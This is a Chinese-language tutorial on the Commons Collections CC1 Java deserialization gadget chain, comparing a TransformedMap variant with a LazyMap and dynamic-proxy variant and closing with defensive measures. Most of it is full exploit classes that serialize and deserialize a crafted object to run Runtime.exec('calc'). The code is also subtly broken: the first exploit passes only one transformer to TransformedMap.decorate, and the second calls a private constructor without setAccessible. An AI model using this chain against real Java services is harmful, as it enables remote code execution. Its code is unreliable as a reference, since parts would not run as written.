Java反序列化CC1链子之国内国外版本总结
字数 1256 2025-08-29 22:41:02
Java反序列化CC1链分析(国内版与国外版)
环境配置
- 漏洞存在范围:JDK8U71以下的JDK版本
- 依赖库:commons-collections-3.2.1
- 测试JDK版本:JDK8u65
基础概念
InvokerTransformer类分析
InvokerTransformer类继承了Transformer接口,关键代码如下:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
...
}
}
这是一个经典的反射调用执行方法,通过InvokerTransformer的有参构造,然后调用transform方法,可以构造任意命令执行。
CC1国内版分析
基本利用代码
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
构造链分析
-
初始链:
InvokerTransformer.transform()→ 任意命令执行 -
向上寻找调用链:
TransformedMap.checkSetValue()调用了transform方法AbstractInputCheckedMapDecorator.MapEntry.setValue()调用了checkSetValue
-
链子构造原理:
- 使用
TransformedMap.decorate()构造valueTransformer参数 - 将
InvokerTransformer放入参数中 - 当
checkSetValue调用时,会执行invokerTransformer.transform(value)
- 使用
-
完整链:
AnnotationInvocationHandler.readObject() → TransformedMap.entrySet().iterator().next().setValue() → TransformedMap.checkSetValue() → InvokerTransformer.transform()
最终EXP代码(国内版)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Domestic {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 构造TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "anything");
Map outerMap = TransformedMap.decorate(innerMap, null, transformers[0]);
// 获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object instance = construct.newInstance(Target.class, outerMap);
// 序列化与反序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
CC1国外版(LazyMap版)分析
与国内版的区别
从LazyMap开始,调用链与国内版不同:
- 关键方法:
LazyMap.get()调用了transform方法 - 构造链:
AnnotationInvocationHandler.readObject() → Proxy.entrySet().iterator().next() → AnnotationInvocationHandler.invoke() → LazyMap.get() → InvokerTransformer.transform()
关键代码分析
- LazyMap利用:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- 动态代理:
// 创建代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
new AnnotationInvocationHandler(Target.class, lazyMap)
);
最终EXP代码(国外版)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1Foreign {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构造LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 创建代理对象
InvocationHandler handler = (InvocationHandler)
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class)
.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 创建最终触发对象
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, proxyMap);
// 序列化与反序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
总结对比
| 特性 | 国内版 (TransformedMap) | 国外版 (LazyMap) |
|---|---|---|
| 起始点 | AnnotationInvocationHandler.readObject() | AnnotationInvocationHandler.readObject() |
| 关键调用链 | TransformedMap.setValue() → checkSetValue() → transform() | LazyMap.get() → transform() |
| 代理使用 | 无 | 使用动态代理 |
| 复杂度 | 相对简单 | 相对复杂 |
| 利用方式 | 直接调用setValue | 通过代理调用get方法 |
防御措施
- 升级JDK:升级到JDK8u71及以上版本
- 安全配置:
- 使用安全管理器限制反序列化
- 使用白名单控制可反序列化的类
- 依赖管理:
- 升级commons-collections到安全版本
- 使用替代库如commons-collections4